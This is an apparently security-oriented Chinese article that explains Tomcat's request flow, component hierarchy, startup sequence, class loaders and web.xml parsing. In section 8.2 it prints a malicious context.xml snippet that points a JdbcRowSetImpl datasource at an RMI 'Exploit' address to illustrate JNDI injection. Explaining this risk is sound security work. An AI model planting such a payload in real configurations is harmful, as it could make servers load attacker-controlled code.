tomcat 流程及组件浅析
字数 4232 2025-08-29 08:32:19
Tomcat流程及组件深度解析
1. Tomcat核心功能概述
Tomcat作为一个中间件,主要实现Web请求的处理,其核心功能包括:
- 接受用户连接
- 解析请求数据
- 处理请求
- 发送响应
简化请求过程:
- 客户端(用户浏览器)发起请求
- 服务端接受并处理请求
- 服务端返回结果给客户端
2. Servlet容器设计
Servlet容器解决了不同请求类型需要不同处理的问题:
- 定义Servlet接口,所有处理请求的业务类必须实现该接口
- 将不同Servlet放入容器中,由容器根据请求类型分发
关键组件:
ServletRequest:封装用户请求信息ServletResponse:封装Servlet处理结果
处理流程:
- 客户端发送HTTP请求
- HTTP服务器将请求封装为ServletRequest对象,交给Servlet容器
- Servlet容器根据URL和Servlet映射关系找到对应的Servlet
- Servlet处理请求,将结果封装为ServletResponse
- 服务器将响应发送给客户端
3. Tomcat组件架构
Tomcat作为Web容器需要实现两大基础功能:
- Socket连接(通信和HTTP报文解析)
- Servlet容器(请求处理)
主要组件设计:
3.1 核心组件
- Server:代表Tomcat实例,一个服务可包含多个Service
- Service:组装Connector和Container
Connector:连接器,完成HTTP服务器功能(建立socket连接)Container:容器,完成内部处理功能(Servlet容器)
3.2 详细架构体系
- Server:Tomcat服务器,最外层组件
- 1.1 Service:Tomcat服务(标准实现类为StandardService)
- 1.1.1 Connector:连接器,负责socket连接,将字节流封装为Request
- 1.1.2 Container:Tomcat容器,将数据进一步处理为ServletRequest
- 1.1.2.1 Engine:Servlet引擎(标准实现为StandardEngine)
- 1.1.2.1.1 Host:虚拟主机(可多个,标准实现为StandardHost)
- 1.1.2.1.1.1 Context:Servlet的Context,代表运行环境(StandardContext)
- 1.1.2.1.1.1.1 Wrapper:代表一个Servlet(StandardWrapper)
- 1.1.2.1.1.1 Context:Servlet的Context,代表运行环境(StandardContext)
- 1.1.2.1.1 Host:虚拟主机(可多个,标准实现为StandardHost)
- 1.1.2.1 Engine:Servlet引擎(标准实现为StandardEngine)
- 1.1.3 Jasper:JSP会话引擎
- 1.1.4 Session:会话管理
- 1.1 Service:Tomcat服务(标准实现类为StandardService)
4. Connector设计
4.1 核心功能
- Socket通信(EndPoint端点)
- 解析处理应用层协议,封装为Request对象(Processor加工处理)
- 将Request转换为ServletRequest,Response转换为ServletResponse(Adapter转化器)
4.2 处理流程
- EndPoint:进行socket连接,提供字节流给Processor(传输层socket)
- Processor:封装字节流为Request数据(应用层HTTP)
- Adapter:转化Request为ServletRequest
5. Tomcat启动流程分析
5.1 主程序入口
org.apache.catalina.startup.Bootstrap.main()关键步骤:
-
bootstrap.init():初始化- 初始化类加载器
- 反射加载
org.apache.catalina.startup.Catalina类 - 加载配置文件
conf/server.xml - 初始化三个类加载器:
commonLoader(父类加载器)catalinaLoader(子类加载器)sharedLoader(子类加载器)
-
反射调用Catalina的
load()方法:- 读取
server.xml配置文件 - 调用
getServer()返回StandardServer对象 - 设置基础目录
- 调用
server.init()初始化server组件
- 读取
-
daemon.start():- 反射调用
Catalina.start() - 实例化
CatalinaShutdownHook()用于停止服务
- 反射调用
5.2 类加载机制
5.2.1 双亲委派机制
加载顺序:
- Java核心类 - 启动类加载器
- Java扩展类 - 扩展类加载器
- 用户自定义类 - 应用程序类加载器或其子类
5.2.2 Tomcat类加载器
commonLoader:加载Tomcat和Web应用共用的类catalinaLoader:加载Tomcat专用类sharedLoader:加载Web应用需要的类JsperLoader:每个JSP页面一个类加载器
子类加载器的类不共享,对其他类加载器封闭。
5.2.3 WebApp类加载器
在StandardContext的startInternal()中:
WebappLoader webappLoader = new WebappLoader(getParentClassLoader());
webappLoader.setDelegate(getDelegate());
setLoader(webappLoader);
5.3 初始化流程解析
-
getServer().init():- 返回
StandardServer对象 - 调用父类
LifecycleBase.init()
- 返回
-
内部调用
initInternal():StandardServer.initInternal()- 调用
services[i].init()初始化各service组件
-
StandardService.initInternal():engine.init()初始化engineconnector.init()初始化connector
-
connector.initInternal():- 新建
CoyoteAdapter适配器 protocolHandler.init()初始化protocolHandlerAbstractProtocol.init()调用endpoint.init()初始化endpoint
- 新建
5.4 生命周期管理
LifecycleBase是Tomcat组件生命周期管理的基础类,关键方法:
init()start()stop()destroy()
6. Container设计
org.apache.catalina.Container接口,由以下组件继承实现:
主要方法:
getParent()/setParent():获取/设置父容器getService()/setService():获取/设置Service(Engine特有)
7. 请求处理调用栈分析
从下往上的关键调用栈:
-
Socket连接处理:
doRun:1539, NioEndpoint$SocketProcessorrun:1495, NioEndpoint$SocketProcessor
-
HTTP请求封装:
process:1152, AbstractHttp11Processorprocess:684, AbstractProtocol$AbstractConnectionHandler
-
请求转换:
service:502, CoyoteAdapter
-
容器处理链:
invoke:212, StandardWrapperValveinvoke:94, StandardContextValveinvoke:492, AuthenticatorBaseinvoke:141, StandardHostValveinvoke:80, ErrorReportValveinvoke:620, AbstractAccessLogValveinvoke:88, StandardEngineValve
-
Filter链处理:
internalDoFilter:292, ApplicationFilterChaindoFilter:207, ApplicationFilterChaindoFilter:52, WsFilterinternalDoFilter:240, ApplicationFilterChaindoFilter:207, ApplicationFilterChaindoFilterInternal:88, CharacterEncodingFilterdoFilter:106, OncePerRequestFilterinternalDoFilter:240, ApplicationFilterChaindoFilter:207, ApplicationFilterChain
8. 配置文件解析
8.1 web.xml解析
在StandardContext中,web.xml信息保存在watchedResources变量中。
解析流程:
- 调用
ContextConfig#webConfig() - 生成
WebXmlParser解析XML - 调用
getDefaultWebXmlFragment- 如果
web.xml不存在,使用默认的conf/web.xml
- 如果
关键解析类:
SetPropertiesRule.begin():反射调用set方法SetContextPropertiesRuleSetAllPropertiesRule
8.2 配置文件安全风险
示例:通过context.xml添加恶意配置
<manager autocommit="true"
classname="com.sun.rowset.JdbcRowSetImpl"
datasourcename="rmi://127.0.0.1/Exploit"></manager>
这种配置可能导致JNDI注入等安全问题,但会引发服务启动异常。
9. 总结
Tomcat的核心设计要点:
- 分层组件架构:Server→Service→Connector/Container→Engine→Host→Context→Wrapper
- 连接器-容器分离设计:Connector处理网络通信,Container处理业务逻辑
- 生命周期管理:通过LifecycleBase统一管理组件生命周期
- 类加载隔离:多级类加载器实现环境隔离
- 责任链模式:通过Valve和Filter链实现请求处理流程
安全相关注意点:
- 配置文件注入风险
- 类加载机制可能被绕过
- 反射调用set方法的安全隐患
- JNDI注入等传统漏洞